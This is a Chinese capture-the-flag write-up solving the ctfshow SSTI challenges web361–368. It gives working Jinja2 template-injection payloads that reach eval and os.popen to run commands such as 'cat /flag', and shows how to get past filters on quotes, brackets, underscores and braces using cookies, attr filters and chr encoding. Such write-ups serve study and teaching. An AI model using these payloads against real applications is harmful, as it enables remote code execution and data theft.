ctfshow-SSTI篇

ctfshow-SSTI篇

八月 28, 2021

web361

  • 提示名字就是考点, 界面有hello,想到通过name传参,进行尝试:
1
2
3
name={{hello}}

name={{1*2}} 返回2

确定为模板注入。

  • 对于ssti类的题目,自己写一个字典,将payload中常见的符号和基类写进去,进行fuzz测试。

  • 简单fuzz一下,发现没有过滤。

  • 查看当前可以使用的类:

1
{{''.__class__.__bases__[0].__subclasses__()}}
  • 通过对应类下的函数执行命令:
1
2
#payload:
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
  • 读取ls / 网站根目录 发现flag

将命令换成cat /flag即可。

web362

使用一样的payload:

1
2
#payload:
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}

web363

  • 简单fuzz了一下,发现过滤了单引号、双引号使用request进行get传参
1
2
3
4
#payload:
name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

x可以使用原来的''.__class__.__bases__[0].__subclasses__()[80],也可以使用任意字母,执行结果都是一样的。(已在题目中进行尝试)

web364

  • fuzz一下,发现过滤了单引号双引号和args,不能使用get方式进行传参。post请求方式无法使用,尝试使用cookies
1
2
3
4
5
6
7
8
#payload1:
{{x.__init__.__globals__.__builtins__[request.cookies.x1](request.cookies.x2).read()}}
cookies:x1=open;x2=/flag

#payload2:
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookies:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
#两种方式都可以

web365

1
2
3
4
#payload:
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}

cookies:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web366 、web267

1
过滤了中括号 下划线 单引号 双引号  globals、getitem  args
  • 使用flask过滤器

flask过滤器的用法可以参考官方文档:

https://jinja.palletsprojects.com/en/3.0.x/templates/

或者yu师傅的博客:

https://blog.csdn.net/miuzzx/article/details/110220425

1
2
3
4
5
#payload:
name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

cookie传值
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web368

  • 在上一题的基础上,将双花括号也过滤掉了

  • payload:

1
2
3
4
5
6
7
#使用{% %}绕过
name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

#使用chr绕过
{%%20set%20chr%20=%20().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.__builtins__.chr%20%}{{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}